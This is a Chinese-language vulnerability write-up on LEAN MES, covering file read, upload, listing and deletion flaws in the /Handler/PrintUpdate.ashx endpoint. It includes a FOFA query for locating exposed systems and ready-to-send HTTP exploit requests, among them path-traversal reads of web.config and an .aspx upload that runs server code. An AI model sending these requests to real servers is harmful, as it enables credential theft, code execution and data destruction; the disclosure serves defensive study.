漏洞简介
LEAN MES系统是由深圳市深科特信息技术有限公司开发的一款应用系统,主要用于生产调度、产品跟踪、质量控制等车间管理功能。LEAN MES精益制造执行系统通过强调制造过程的信息化和透明化,帮助企业由粗放式向精益化管理模式升级。该系统 /Handler/PrintUpdate.ashx 存在任意文件读取漏洞。攻击者可通过构造恶意请求,利用路径遍历(如../)等手段,实现任意文件读取,可能导致系统配置文件、源代码、用户凭证等敏感信息泄露,影响系统数据访问权限。
影响版本
fofa语法
(title="LEAN MES - 用户登录" && body="LEAN MES") || body="Content/js/skt.utility.checkmobile.js" || body="../MobileApp/VerifyError.aspx" || body="Content/login/login2/multiplant_top.png"
漏洞分析
根据 PrintUpdate.ashx 引用的代码逻辑,在bin目录找到SKT.LeanMES.Web.dll文件,在其中找到Handler.PrintUpdate的实现逻辑

根据请求参数action的值来进入不同的处理流程进行处理
文件读取
当action=DownLoadFile时,跟进WriteFile方法看下它的实现

由于 DownLoadFile 功能在处理 file 参数时未进行充分过滤,攻击者可通过构造包含 ../ 的恶意路径,读取服务器上任意文件的内容,例如 web.config 配置文件,导致敏感信息泄露。
信息泄露
同时当action=GetDownLoadFile时,还存在信息泄露漏洞,

而GetFiles方法是循环读取/UploadFiles/PrintUpdate/ 目录下的所有文件名,然后返回在响应里

从而造成了信息泄露

文件上传
当action=UploadFile时,UploadFile的处理逻辑如下

只判断GetInfo的结果是否为null,可以通过批量爆破找到一个存在的id值即可,剩下的文件上传保存部分没有对保存的文件后缀或内容进行任何校验,因此直接造成任意文件上传漏洞。
文件删除
当action=GetPrintImg时,看下GetPrintImg方法的实现

当rotate不等于90时,进入else分支,在分支里,直接将参数name的值,拼接在/UploadFiles/PDFPrint/路径上,无任何过滤,因此可利用目录穿越,来达到任意文件删除。
漏洞复现
文件读取
POST /Handler/PrintUpdate.ashx HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=DownLoadFile&file=../../web.config

成功读取到web.config文件内容
文件上传
POST /Handler/PrintUpdate.ashx?action=UploadFile&id=1 HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file";filename="1.aspx"
<%@Page Language="C#"%><%Response.Write(Guid.NewGuid().ToString("N"));System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
------WebKitFormBoundary--
访问上传文件 /UploadFiles/PrintUpdate/1.aspx 即可

成功执行我们的代码后,删除自身。
文件删除
假设通过前面的上传了一个123.txt 在
UploadFiles/PrintUpdate/目录下
POST /Handler/PrintUpdate.ashx HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=GetPrintImg&name=../PrintUpdate/123.txt
执行后,再次访问 UploadFiles/PrintUpdate/123.txt 发现404 说明删除成功。


